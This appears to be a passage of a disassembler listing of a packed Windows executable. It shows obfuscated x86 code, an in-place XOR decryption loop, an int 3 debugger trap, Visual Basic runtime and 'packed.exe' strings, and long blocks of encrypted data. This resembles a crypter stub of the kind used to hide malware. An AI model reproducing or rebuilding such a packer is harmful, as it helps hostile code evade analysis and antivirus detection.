loc_5BEC5C:				; CODE XREF: ud2_____:005BEC4Fj
		pop	ebp
		iret
; ---------------------------------------------------------------------------


loc_5BEC5E:				; CODE XREF: ud2_____:005BEB9Cj
					; ud2_____:005BEC57j
		lea	eax, [ebp+5D64D79h]
		mov	[ebp+5D112A9h],	eax
		lea	ecx, [ebp+5D64EF0h]
		push	0
		push	edi
		call	sub_5BEC7B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEC7B	proc near		; CODE XREF: ud2_____:005BEC73p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5BEC7B	endp

; ---------------------------------------------------------------------------
		db 0C9h
		dd 7893E758h, 90EA084Dh, 0FCD5B3B5h, 15B58D29h,	8D8905D1h
		dd 5D11021h, 0C7C7B70Fh, 0D11C0985h, 724005h, 61950100h
		dd 0C705D10Dh, 0D1067985h, 5, 12E96000h, 85000000h, 2371BE50h
		dd 33B0E36h, 94BE7DF4h,	931DB6E3h, 0D08B66EEh, 0A9B5FF61h
		dd 6A05D11Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 9884C356h, 0A0B4D133h,	517DBA66h
		dd 0EDD95FFh, 0B70F05D1h, 0FF006AFFh, 0D1245995h, 0EBC08B05h
		dd 2CF7A15Eh, 0D549C922h, 38C01C33h, 0F0091599h, 448FF1F0h
		dd 99FCB48Dh, 33C33A41h, 996C7C12h, 0B53C22D1h,	97A8A21Ch
		dd 0EDB67300h, 47017783h, 0EE663530h, 0BDA29BFCh, 0B257DA5h
		dd 0D6D8094Dh, 403CDF60h, 53D318D6h, 2FFD8D2Fh,	0C5670197h
		dd 1607866Bh, 0B7A50F6Fh, 0FD75EEBh, 0E840F21Dh, 5, 0E64948A1h
		dd 799D8B38h, 5F05D11Fh, 7D8D8956h, 5805D111h, 716DC781h
		dd 0BD890000h, 5D11BA5h, 0BEh, 148BF900h, 0DB816637h, 0F281F4C0h
		dd 6902DCA1h, 0ECC281F8h, 0F00DA90h, 1786h, 12E900h, 67F40000h
		dd 4A5B7B5Eh, 0ED99A0EFh, 0D35BC25Ch, 0D1339884h, 235EC281h
		dd 9AB76F36h, 58F0F52h,	0B8000000h, 79D7E2FDh, 2B37048Fh
		dd 0D123259Dh, 68C0F05h, 1000000h, 0D10F9DBDh, 2EE8305h
		dd 4E95C980h, 858B534Eh, 5D102C9h, 58FE8158h, 0FFFFF8Fh
		dd 0F85h, 56DF8000h, 24E9h, 953C0200h, 5185D46Fh, 58F0Fh
		dd 81660000h, 0E9ADCDD1h, 0FFFFFF6Ah, 6003475Ah, 0A95C0202h
		dd 7321BF0Fh, 0D18D8D01h, 6A05D650h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E9C5C357h
		dd 0Bh,	54223952h, 8BCD429Ch, 89AB5BFAh, 0D110218Dh, 985C705h
		dd 5805D11Ch, 0BE000059h, 5EBAE407h, 67985C7h, 5D1h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8960D4C3h, 0D1317D8Dh, 7ED98005h, 0D5B5FF61h, 8005D117h
		dd 95FFF4E7h, 5D10EDDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0FAC35646h, 91BD29h, 6A05D1h,	245995FFh
		dd 0C08B05D1h, 621B69EBh, 0F363F595h, 514B3A79h, 0F9CDB8D2h
		dd 0F314ABDh, 0FCF3F857h, 850523AEh, 4748FF78h,	0DF63C181h
		dd 0D9512019h, 3F8D91A5h, 0D2F68981h, 9548BD17h, 45D8AE03h
		dd 24A34B4h, 9ADF8ED4h,	0E08815Ch, 0BC1D6995h, 505F8249h
		dd 0DB59E1C8h, 0F3C53FB1h, 679CE7BBh, 14697A36h, 0EA22BF7Ah
		dd 4C9D8E62h, 8B30FDB4h, 0E8F54DBFh, 6,	0B500C90Bh, 890F41F8h
		dd 4, 0E071BE66h, 81F08B5Fh, 59F3C7h, 85895000h, 5D1222Dh
		dd 0BB5Eh, 8BFC0000h, 0FE91F0Ch, 48000000h, 0B964B798h
		dd 47A9E4ADh, 36D9F028h, 0F1812FB4h, 1DA5EEC4h,	3BE981F5h
		dd 6675833Eh, 0F181C28Bh, 0B593B31h, 9C99D89h, 0E95105D1h
		dd 13h,	0C6C7D9D3h, 2A816E43h, 44C77799h, 0F76E4185h, 8FB61353h
		dd 7E81F04h, 74000000h,	0FA768FD3h, 0B529D998h,	5D10AB5h
		dd 34DA8058h, 6604EB83h, 0FB81C38Bh, 0FFFFA6ACh, 0FF89850Fh
		dd 8166FFFFh, 0E8C62EC2h, 0Fh, 0DA116A78h, 0AC40B2F5h
		dd 7FA13104h, 8BB8EE6Ah, 0BA665BC2h, 0C3815FEFh, 717Ah
		dd 26D9BD89h, 0C92B05D1h, 0E90B3C8Bh, 5, 0FDDE7328h, 0A2C781A2h
		dd 805741DDh, 0C781CDCCh, 5D4C419Eh, 81D18B66h,	0AFB4E7F7h
		dd 0BD29572Eh, 5D119F1h, 810B048Fh, 0A35E23D8h,	11E806h
		dd 48260000h, 0CAA12254h, 8BB10F3Bh, 23C1412Eh,	0E93EE046h
		dd 13h,	311D1C5Eh, 0C8ECCB78h, 50C17CFDh, 399FB2FAh, 5860F7B5h
		dd 0E6B8E981h, 880F1B40h, 6, 1CD9950Bh,	0C18105D1h, 1B40E6B4h
		dd 186D9D89h, 0F98105D1h, 0FFFF8F68h, 0E850Fh, 2FE90000h
		dd 6D000000h, 0D3FE5D88h, 0D91E5A79h, 10E8h, 22762700h
		dd 29C14BBh, 7FDA63E6h,	0D5D31AADh, 0E95AFC85h,	0FFFFFF48h
		dd 0CFE33B2Eh, 9F6B7C9Fh, 8D8D3978h, 5D653EBh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 5DC35343h, 0F320EB11h
		dd 3A5FCCA4h, 85858B71h, 8905D113h, 0D110218Dh,	56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0D8B27DA0h, 7E9F9B9h, 86000000h, 5C8CAC88h, 5DB75273h
		dd 1C0985C7h, 6A0005D1h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 31210DC3h, 26F6E554h
		dd 1AC98589h, 85C705D1h, 5D10679h, 0
		dd 0DE8h, 0E053F600h, 67C4C45h,	8177032Ch, 0BA665191h
		dd 0FF5B65BFh, 0D1274DB5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 7EC4F07Dh
		dd 0B14C88A6h, 0DA8166CAh, 95FF3B4Bh, 5D10EDDh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 49C35141h, 8589054Ah
		dd 5D112F1h, 95FF006Ah,	5D12459h, 48EBC08Bh, 0C26B2147h
		dd 0A1DDB2A0h, 0E6758173h, 11F2349Ch, 35AA8CF2h, 0F8FD2CC8h
		dd 97572F9h, 0C671EB10h, 539A84C5h, 62011884h, 4AF89873h
		dd 39D258EEh, 9DB663A2h, 4C9AEF64h, 0F8F334ABh,	6CDA9E1Fh
		dd 3CA2E8DFh, 3E77CA35h, 0DE8h,	1CD69C00h, 4BFCBE15h, 0F60C5023h
		dd 840FA97Fh, 0
; ---------------------------------------------------------------------------
		pop	ecx
		and	si, 8C6h
		add	ecx, 6797h
		mov	edx, [ebp+5D11735h]
		mov	eax, 637553B2h
		add	eax, 9C8AC615h
		mov	edx, eax


loc_5BF297:				; CODE XREF: ud2_____:005BF2D8j
		push	dword ptr [ecx]
		pop	edi
		mov	esi, [ebp+5D11CFDh]
		add	edi, 7293CF5Eh
		sbb	bh, 24h
		xor	edi, 190C0596h
		jmp	loc_5BF2B9
; ---------------------------------------------------------------------------
		dd 0AB84B4D5h
		db 0CCh
; ---------------------------------------------------------------------------


loc_5BF2B9:				; CODE XREF: ud2_____:005BF2AFj
		xor	edi, 415E0D36h
		mov	[ebp+5D11AE9h],	edi
		mov	[ecx], edi
		mov	[ebp+5D132D1h],	eax
		sub	ecx, 4
		xor	bx, 5A4Dh
		sub	eax, 1
		jnz	loc_5BF297
		mov	edx, [ebp+5D125D9h]
		jmp	loc_5BF445
; ---------------------------------------------------------------------------
aGCM_unpacker	db 'Ý`ƒ|C:\m_unpacker',0
aPacked_exe	db 'packed.exe',0
		align 4
		dd 3Ah dup(0)
		db    0
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 64h,	0F3h, 0CEh
		db 10h
; ---------------------------------------------------------------------------


loc_5BF445:				; CODE XREF: ud2_____:005BF2E4j
		jmp	loc_5C1088
; ---------------------------------------------------------------------------
		push	5D657EAh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D658FFh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D65A2Ah
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D65AD4h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D65B13h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D65BD3h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D65C26h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D65C72h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D663DDh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D66489h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D66547h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D66638h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D666B6h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D6677Fh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D6685Ah
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D6690Dh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D66F64h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D67057h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D6711Ch
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		dd 0EDCE5DA5h, 0C4E77886h, 3CFF8EE9h, 1295A8D1h, 0CAFC23Bh
		dd 4BB0EAB1h, 5E9EF536h, 7C87EEC9h, 99E3CAEDh, 0CA9B2586h
		dd 0D82ED6C7h, 8EA67166h, 800F3F45h, 6CAE8493h,	0BCB06634h
		dd 42DB260Dh, 0DF708A91h, 0C2C098DCh, 9AF0903Fh, 0BA97727Fh
		dd 767E2C41h, 7F9B262Bh, 0C71EA872h, 7CF8720Ch,	27774Bh
		dd 2CEB0000h, 846B7E74h, 5A00EC7Dh, 0BE3AEB9h, 8C727F97h
		dd 868B16DEh, 8727F96h,	12AC67BEh, 174B7CF8h, 0C9h, 2C3F450Bh
		dd 8DA0E540h, 6DFE04E1h, 0CD5EA481h, 0B7C6313Ch, 84EEEFA2h
		dd 3B696CAEh, 471C9718h, 6D6CAE89h, 14A30417h, 0B2A617EEh
		dd 36883647h, 0AEF5AE50h, 0A72B3B54h, 0A9E4F5E9h, 72805EB1h
		dd 21A30456h, 0D7666B67h, 7453CAAFh, 1DC6E3E6h,	53316EB6h
		dd 0B6BBE978h, 6F4B754Ch, 0D6894D5Dh, 0C2E71C13h, 0DF20B3A4h
		dd 758CA1E7h, 9EF536E4h, 81CFC865h, 88E3A442h, 19E885E4h
		dd 53AF0000h, 6E88E3C4h, 84F3DADDh, 9EDB32F5h, 0B8CD2883h
		dd 0F4BB02A5h, 8B2C41BAh, 0E4C754A0h, 0C0DB7289h, 3BFC8FF5h
		dd 0CCC9C485h, 4B66D82Dh, 4045909Ch, 59A38A2Dh,	20A342B9h
		dd 0EB2DEABBh, 0AC0F3DE3h, 56E7161Dh, 0E88BA6DFh, 7E742C4Ch
		dd 9750246Bh, 0A5F7727Fh, 0C43D30C9h, 7C27C5A9h, 7F968091h
		dd 0F07F0E72h, 0B09E798Ah, 12E9CAFCh, 0B473B36Ch, 7C615F7Fh
		dd 0D2444Bh, 19D80000h,	965EEF0Ah, 0FA002BD4h, 0C2C19061h
		dd 6CAE84D1h, 717B2476h, 51AD6F94h, 7D233A45h, 29C5EB71h
		dd 0AE89B76Ch, 0D787FD6Ch, 0AE89DBF8h, 782E7C6Ch, 1D2E54BFh
		dd 0AA19A851h, 6CAE89A9h, 63705F2Eh, 0E46CAE8Ah, 3DDF80B6h
		dd 379A6F63h, 727F9E2Bh, 0E5F6DDACh, 62727F9Dh,	0F09D28B8h
		dd 6311A7AFh, 1E7A7ABDh, 0D40ED1A0h, 7D4D0123h,	0CB32ED7Dh
		dd 78532982h, 6B0279F4h, 92314048h, 78532981h, 0D3A65406h
		dd 910A275Ch, 0AB2C41BAh, 0E3A3B69Fh, 0D31B42E2h, 0BA000018h
		dd 0A78E293Eh, 8EE5C659h, 0F6DDDE6Fh, 0D833F489h, 562D8EA3h
		dd 112C5109h, 283FBF96h, 0CC5DA48Fh, 0E17A80EBh, 0A4EBBAC6h
		dd 66D82CB7h, 45AD8750h, 0A38A2D40h, 8FE5C659h,	402C3F45h
		dd 2B8C9FE5h, 0D57BEFA9h, 0CABEA123h, 3B52A984h, 69494415h
		dd 1F727EC6h, 0C654414Ch, 0A1F3727Eh, 0B9481AFEh, 0C5BADBF6h
		dd 0F5D727Eh, 85F18854h, 6AAAC0ACh, 0DCECAED1h,	0AD9C0310h
		dd 7F9741FFh, 7586317h,	5860715Ch, 2C4A727Fh, 90015313h
		dd 0AE19E3Dh, 2B44BEF7h, 0FA2D9B3Bh, 0FCA2BD3Bh, 0B172B515h
		dd 4B7D251Dh, 0D01Ah, 92EC4300h, 195EC6F9h, 855A7B56h
		dd 810C6CAEh, 6CAE8494h, 33616133h, 0A1269600h,	0ABE6EBE7h
		dd 727FA97Fh, 0AC2B4A18h, 471A517Dh, 687558EBh,	0EF471A52h
		dd 96F282BDh, 527A4918h, 0F54CEB77h, 4D0BCFA7h,	0FD36CF2Eh
		dd 4C61D39Ah, 5517DF8Dh, 205FD2A7h, 41770876h, 6938CB9Eh
		dd 0EAE9395Ah, 85F3DE4Ch, 0B01BC4EAh, 52BF4540h, 69C495C7h
		dd 54BF7813h, 0AABA1D2Eh, 0EB09379Bh, 17A82039h, 136F0000h
		dd 2E48A304h, 44B39A1Dh, 5E9BF235h, 788DE8C3h, 347BC2E5h
		dd 4B6C017Ah, 0A4071460h, 801B3249h, 0FB3C4FB5h, 8C8904C5h
		dd 0B66D82Ah, 3F4550DCh, 0D48C402Ch, 0B4840BDEh, 53727F9Ch
		dd 5748E789h, 85C60FACh, 0F08A0B10h, 7A05604h, 1C6F62Dh
		dd 0F7864B47h, 0B26DFE78h, 7FAA1F4Bh, 9DDA4972h, 457EEC80h
		dd 11FC2173h, 0F9A8A4F6h, 0F287FB55h, 79C9B7DFh, 620250FFh
		dd 988508DBh, 3FFF79C9h, 0FFCE376Dh, 76182E20h,	0DDD18F4Dh
		dd 2631810Ch, 84D6054Eh, 6B047EF5h, 0C1F65B0h, 0A8BAE38Bh
		dd 0E706AE56h, 16FEh, 0D9D26991h, 30EB84F2h, 28839AE5h
		dd 1E99B4CDh, 78B3CE37h, 57ACDE8Dh, 6A8AE13Ah, 88F3DADDh
		dd 0A5DF36F1h, 0DE6F118Ah, 0D82AE2F3h, 0FAB26566h, 0AB2C3F45h
		dd 0EF485BBDh, 0BFF1E884h, 56000016h, 0B39A1D2Ah, 9AF12A45h
		dd 82E9C25Bh, 0F4DFD875h, 4239F28Fh, 5186D1Dh, 1C2B4BA2h
		dd 3049B09Bh, 0D5669CF7h, 0B01FAED2h, 66D829A3h, 45B9F324h
		dd 8A5D2C3Fh, 0AE851607h, 30E3B16Ch, 16699534h,	0DDA4453h
		dd 0B593A152h, 0A1F649B1h, 0B45A8F1Ch, 1B344EA5h, 1BEE914Bh
		dd 7F6B58B4h, 0AADFF72h, 0F18AF07Fh, 0BDC66FFDh, 651ECCA0h
		dd 0C19F128Dh, 59913CCDh, 0FE78508Fh, 0D78A71ACh, 0B414F946h
		dd 0BC13E6DCh, 1ACA6B98h, 0CD816D3Fh, 0BB4A1F93h, 9BC30F43h
		dd 24DF60C3h, 9E7A59D9h, 0D9200F20h, 53EAC40h, 0CA639EB3h
		dd 0CF92401Ah, 0A6011A60h, 0A11A354Fh, 3B5866C1h, 0FFEDFC90h
		dd 96000015h, 0F3DADD6Ah, 0DA31EA85h, 0C229829Bh, 341F98B5h
		dd 8279B2CFh, 0C558ADDDh, 0DC6B8BE2h, 0F089F0DBh, 95A6DC37h
		dd 0F0DF6E12h, 66D829E3h, 0E5F9B364h, 6CAE84F8h, 0AE947D92h
		dd 0A502176Ch, 87886CAEh, 0AD6CAEA4h, 99C3C457h, 0F8EF483Bh
		dd 15AC1554h, 17630000h, 324CA700h, 48B79E19h, 629FF631h
		dd 7C81ECCFh, 307FC6E1h, 4F68057Eh, 0A8031864h,	8427364Dh
		dd 0FF3853A9h, 908D00C1h, 3766D828h, 742C54E0h,	55D86B7Eh
		dd 98631C2Fh, 727F9DD8h, 0DCAA2D7Fh, 0A5E97742h, 1560DE0Fh
		dd 0CB370000h, 0E6107BBCh, 0FC7B5255h, 16634A6Dh, 3055A07Bh
		dd 7C239A1Dh, 3A4B9C2h,	7CBFCC28h, 5853EA11h, 0B374077Dh
		dd 44517C0Dh, 0C366D829h, 3F451814h, 508A5D2Ch,	152C3E7Ch
		dd 4D4E47DFh, 0CA6CADF9h, 5CCDAC10h, 557B42F1h,	0E08C9DD8h
		dd 0B693597Ah, 0C32E334Ch, 0F0FCA7BAh, 0AB68BF0Fh, 514E4713h
		dd 3210h, 0F4E51400h, 3E6CAE84h, 9CADD4C4h, 48470AD0h
		dd 6CAE854Bh, 19E89ECCh, 975FF00Ah, 0FE892AD5h,	7B6B0673h
		dd 0E4D73EE1h, 0B16D09F9h, 14C8ACBDh, 45800000h, 1423533Fh
		dd 70FF8E66h, 657F7704h, 0B6938FE3h, 92AD8D1h, 0C0910D4Bh
		dd 7EA141CDh, 0C594C672h, 0B962A199h, 17AD42Dh,	1485BE6Ch
		dd 0A1B7965h, 0C734FB63h, 4778156Eh, 5F98DBB5h,	114D1CC2h
		dd 0DD258005h, 0E7E29D75h, 50A1ACA8h, 68792B78h, 7A810E72h
		dd 77288DD4h, 9B75806Dh, 0B822C25Dh, 0C3F18CF5h, 33206F3Eh
		dd 0D47850A1h, 1ED80F9h, 298AB55Bh, 50A16D62h, 26394778h
		dd 3F50AE85h, 93ACCA37h, 6F5194CEh, 9E4654E3h, 12D26D97h
		dd 2ACD9748h, 2A548D58h, 21BD9611h, 645AB60h, 20Dh, 0F6742C1Ah
		dd 0CB2F2DEh, 0F51AF815h, 0AB2C6562h, 0BCD9F485h, 5B6CADEDh
		dd 3B965B09h, 727F03DBh, 322C517Ch, 7F037E9Fh, 0A54B1972h
		dd 816D13C9h, 0E6C15AA4h, 16DE718Fh, 7F13868Bh,	8F562072h
		dd 4DDC270Ah, 1D183BA1h, 586F48E3h, 1DB0AAD5h, 727F1400h
		dd 0E27D587h, 0D18B5BF4h, 0BC326E2Eh, 2D02E6ADh, 0A8857850h
		dd 213C4153h, 5E99F4Dh,	6FFF3967h, 6B3DDFDFh, 0AEE5B445h
		dd 78505BADh, 6AC2782Ah, 7A27EBEh, 0BAA74D76h, 0A08B2C41h
		dd 2B42B95Bh, 0F17BA13Bh, 0FC344589h, 975042Ah,	175C4EDEh
		dd 767E21C4h, 503F282Bh, 70FF8E78h, 79496A07h, 730E77AEh
		dd 3E1A746Eh, 0F861247Ah, 81FFD6C7h, 0E84706EEh, 0A841FF8Ch
		dd 8F1E261Eh, 84F2B95Ah, 13D36894h, 24CB9B49h, 24529352h
		dd 2747900Bh, 0C45ACAEh, 33h, 2D404520h, 50B5B841h, 88AB313Dh
		dd 29C558ADh, 30F13486h, 4CA3B6CBh, 97551932h, 0EDBCCBECh
		dd 0AE84B5A6h, 5F00526Ch, 4E0AB8D6h, 0EFBD51h, 2CB10000h
		dd 0D86B7E74h, 0AE84E8F5h, 0D7D356Ch, 7BFBE355h
		dd 334CAA87h, 0D8FBA933h, 0E0AF7E01h, 6CADB4F3h, 49EA53CEh
		dd 1FF33183h, 0FF2B924Dh, 98727F7Ah, 0C13F1ACAh, 0D8260DAEh
		dd 3442AF47h, 8FEE4B1Bh, 0CE07B81h, 59C4A85Eh, 770A7723h
		dd 8305AD41h, 6E19D264h, 0EE56EB74h, 7F7AB2A3h,	0D9075572h
		dd 5F0057F2h, 1F59984Fh, 111CAB0Ch, 0BD9854E7h,	0A7452944h
		dd 4965CEF1h, 2E4B7D13h, 67h, 0F369909Fh, 7F87BFDCh, 640A5872h
		dd 7B21D288h, 6879752Ch, 4E0BDD9h, 3984526h, 3EB87550h
		dd 855F6CAEh, 332B062Bh, 0BBC66FCAh, 0B5F0FCA2h, 6CAE5AA4h
		dd 0C8134B1Ah, 0DF6E9548h, 0AC4FE6A1h, 54F433F3h, 21F081FDh
		dd 0E76A835h, 0E699DC2Bh, 0ADB04E1Fh, 9BC96Ch, 3B760D69h
		dd 0E53033ECh, 78F3Ah, 0B9A10000h, 48h,	233A45EBh, 0F540BA43h
		dd 61FA00EAh, 41C1ED3Bh, 0D669979Eh, 0EF80FED5h, 0E4177307h
		dd 7FED819Ah, 0CB42B849h, 6DFDD94Fh, 7826A15h, 6CAE6611h
		dd 79DC0BBFh, 65FA1BB6h, 0CF9D6CAEh, 29730B14h,	0F870514Eh
		dd 0F400000Ch, 7478762Ch, 59B9A329h, 0D75A2DF6h, 0FDD91A8h
		dd 50935254h, 0C7A2D93Eh, 313Bh, 762C3F00h, 395A6978h
		dd 0DE6CAE85h, 0BEF78AF3h, 68042A43h, 2252D22Dh, 260D7C16h
		dd 0AFBE39D7h, 3348B4F9h, 0AC67BE00h, 0A7DA3C12h, 2A817h
		dd 762C0B00h, 89D83478h, 0B8370A6Dh, 7C27B74Dh,	2C3F4530h
		dd 91A6D65Dh, 0EFB546EEh, 4E063747h, 2B1C52h, 19100000h
		dd 855A7B56h, 29506CAEh, 0A8E5C10h, 0BD95A758h,	0AA196DC1h
		dd 6CAE84A6h, 19337321h, 233A450Bh, 0B90D1703h,	4Bh, 0F10A19EBh
		dd 0B991A35Ch, 26FCC04Dh, 8EBC2EF8h, 0A6AA19A6h, 0D06CAE84h
		dd 5915285Dh, 773BD083h, 8756193Fh, 84BCD9F4h, 95B6CAEh
		dd 0AE849784h, 4241306Ch, 6CAE8551h, 0E3F6A4F6h, 0AE84AFACh
		dd 597A286Ch, 233A45D3h, 0E50D1703h, 9A70A719h,	5457EA13h
		dd 58680379h, 8D1D3055h, 4C85A022h, 0BDF82536h,	1F324B47h
		dd 17E75969h, 3747AA5Dh, 61725120h, 0E69A70A7h,	0EC3B8BB4h
		dd 0ED7AFA69h, 0FDB85B01h, 0BE49F487h, 314A44B3h, 0E48A501Ch
		dd 0FAA15208h, 1761CC80h, 0A68C8904h, 590B9A70h, 0F10A67ABh
		dd 70A68F83h, 565A089Ah, 0B01FAED9h, 9A70A6A3h,	58F30924h
		dd 0EE3989AAh, 0E67B846Bh, 730C763Dh, 0E3F0DF6Eh, 649A70A6h
		dd 4BD60D36h, 59571F32h, 61334C7Ch, 9F570518h, 3F3748B2h
		dd 9325C046h, 4180A719h, 0AF86213Ch, 0FBF63A55h, 0A7203082h
		dd 8AA79A70h, 9D2DD36Ch, 19D56690h, 0B8B4C53Ch,	4977AE18h
		dd 7EB05D4Ah, 1530E6A1h, 394382A5h, 0CDAD0FAEh,	0CDF34D8Bh
		dd 0DC6F9590h, 3CAD52CCh, 17A63BEAh, 712B9BB8h,	0B56E3C9Ah
		dd 5AFB94EEh, 1AA9A5DFh
; ---------------------------------------------------------------------------


loc_5C0000:				; DATA XREF: ud2_____:005A1E3Co
		stc
		sub	esi, [ecx-66h]
		sahf
		int	3		; Trap to Debugger
		push	ds
		mov	ah, [edi+70FFC35Eh]
		mov	ss, word ptr [edi-62h]
		db	64h
		retf
; ---------------------------------------------------------------------------
		dw 7706h
		dd 712C3B58h, 0D58EDC9Ah, 0A19F2BEh, 0CA905CF1h
dword_5C0024	dd 67F80229h, 2CD4D8CFh, 66775A75h, 0E16CAE85h,	8DED05B3h
					; DATA XREF: ___:00425F0Co
		dd 312CF965h, 56192303h, 0AE855A7Bh, 0F4AFFD6Ch, 0A19D359h
		dd 0F9A25DEAh, 524E06F5h, 70D2h, 0FD195600h
dword_5C005C	dd 8DF72B42h, 3B4544F2h, 21781CC7h, 0FD1981ADh,	5FD69590h
					; DATA XREF: ___:off_426060o
		dd 0AC080D4Fh, 34C48F6h, 7C0F69C4h, 3EC9EA70h, 9B75806Fh
		dd 0B923C35Eh, 6F22DB8Bh, 6CAE3D6Eh, 0EA95BBE9h, 0AE3CEFE3h
		dd 373A686Ch, 0AAD3BD38h, 5F0DDF97h, 304DAA97h,	19CB5102h
		dd 33B450Bh, 0AE848F8Ch, 0CB5A086Ch, 40EC92ADh,	0A8DD5017h
		dd 0B942EA95h, 3Eh, 79752CEBh, 0DB561935h, 15068FA2h, 0E86CAE85h
		dd 1C8980CFh, 64368AFDh, 9C1D3E95h, 0E8BA6CADh,	7D9D3037h
		dd 0D96CAD9Bh, 0B191915h, 52EB0A19h, 0C17C892h,	17D559F2h
		dd 89A4DD50h, 72E54ED6h, 0C76CAE93h, 0FFFD1B92h, 156CC3FFh
		dd 946B6827h, 0BEEC6CAEh, 5D06E488h, 84F4E5D7h,	0FB576CAEh
		dd 0AEC92487h, 0E5944917h, 5006F3C8h, 0F906ED9Ch, 56AD8864h
		dd 676E11C7h, 6CADB776h, 12875E28h, 864BE61Fh, 0ADB80A0Bh
		dd 24DF8D6Ch, 9A6FFE79h, 0D2F16D97h, 6CADB7C1h,	0BD661446h
		dd 54E7117Ch, 32381153h, 3D8C3D18h, 0E8F9AF91h,	74696A59h
		dd 0BCEE6CAEh, 8DCD983h, 86AF04C7h, 902EE500h, 950EF7CCh
		dd 246h, 84F5E589h, 0D0636CAEh,	0AE84E0FDh, 0A35676Ch
		dd 0C1900E4Ah, 34CF1E95h, 0D8FB10A1h, 52E68201h, 4C61727Fh
		dd 2196537h, 0A3DBAE5Ch, 6CF75C33h, 14BB4E89h, 727F1407h
		dd 0F021D280h, 23C35AA5h, 0CFA7B8C6h, 6B7B1462h, 2D4AA9E7h
		dd 4B79106Fh, 4E13C19Bh, 50451743h, 0AD154178h,	3748B255h
		dd 0D577AD3Fh, 8A0E31A2h, 0F4A1FFD8h, 44E8E3A6h, 0DF525h
		dd 0CB609800h, 0E07B85D0h, 0F891ECC7h, 96ABD43Fh, 0A8C53E15h
		dd 0B7E7B40Fh, 9DF8334Eh, 0FAD1CA61h, 0E6CDEE7Fh, 9828839Ch
		dd 21D9FAC9h, 0A97E66D8h, 2C3F4583h, 4BAAB940h,	15730132h
		dd 850617BAh, 0D3816CAEh, 518D5C2Dh, 1732989Ch,	0E13C8DC0h
		dd 0FA8474A2h, 3F50BB64h, 0D87284D2h, 0D68C78Ah, 210CBB7Ch
		dd 3DAF47D6h, 79750670h, 0A7530E3h, 7A746E73h, 4E0ADA3Eh
		dd 8A777D26h, 4317DF70h, 0EEB0AA05h, 7780DEA0h,	0B21C3994h
		dd 96BB7284h, 7E2CD26Bh, 2E55D86Bh, 6599641Fh, 0E27855C4h
		dd 1C4357B0h, 0A64EE3A1h, 0D4947h, 0A7B4CC00h, 0BCCF2904h
		dd 54E5107Bh, 62FF7853h, 4196249h, 0DB93D8A3h, 0C12C8FA2h
		dd 2E05A6B5h, 0A61BAD3h, 245C5FF0h, 212D2E65h, 7DAA66D8h
		dd 0A43F4537h, 0FCBE7476h, 0CA9A4817h, 0F774A06h, 0B6BCEAC2h
		dd 0E0F86C5h, 896CAD8Fh, 692435DBh, 727EAED9h, 0A08B2C7Eh
		dd 0E6E6C15Ah, 922534AAh, 27CF629Fh, 0CCA0BD3Ah, 4CB7681Eh
		dd 78550556h, 53DEA3F1h, 0E7921524h, 0C1607DFFh, 27D8105Ah
		dd 9968017Ch, 6CDAFBD6h, 2F7D7855h, 778D6874h, 0DE1E15E4h
		dd 6D36276Ah, 83D17855h, 833A22DDh, 9AFB005Bh, 0AD56483Ah
		dd 2C3DB1EFh, 268B5D61h, 2FA8FA7Eh, 0DDD05485h,	8B3920CCh
		dd 200000Ch, 6F4661F6h,	56BD7E11h, 0BE951627h, 0A08B2C41h
		dd 1EE5C65Bh, 49E41951h, 60F7076Eh, 4156C47h, 193248A3h
		dd 6C23E29Eh, 66D8206Fh, 45753FE8h, 0B9402C3Fh,	84BADBF6h
		dd 0F5D6CAEh, 0EAE8A054h, 0B228A8E7h, 0FDAF727Fh, 0F5A5D33Ah
		dd 0E8C3F18Ch, 0C0DB728Dh, 0AAABE6A9h, 2D727FB1h, 0E045C17Fh
		dd 47EEC745h, 742C909Ch, 92ABD65Dh, 988508D2h, 3F6CAE84h
		dd 0B19B01E5h, 7E2C9846h, 0DBF6B948h, 6CAE66BAh, 95540F5Dh
		dd 7F8F1A3Eh, 1AEFBD72h, 0D05DEC17h, 0FDD91AAh,	0C0D8854h
		dd 82727F8Fh, 8C22E104h, 694B7D00h, 88h, 203B458Dh, 8497E14Ch
		dd 59F40DE8h, 0FD79F495h, 0F45CB8E6h, 46745B94h, 0ADFF1CB3h
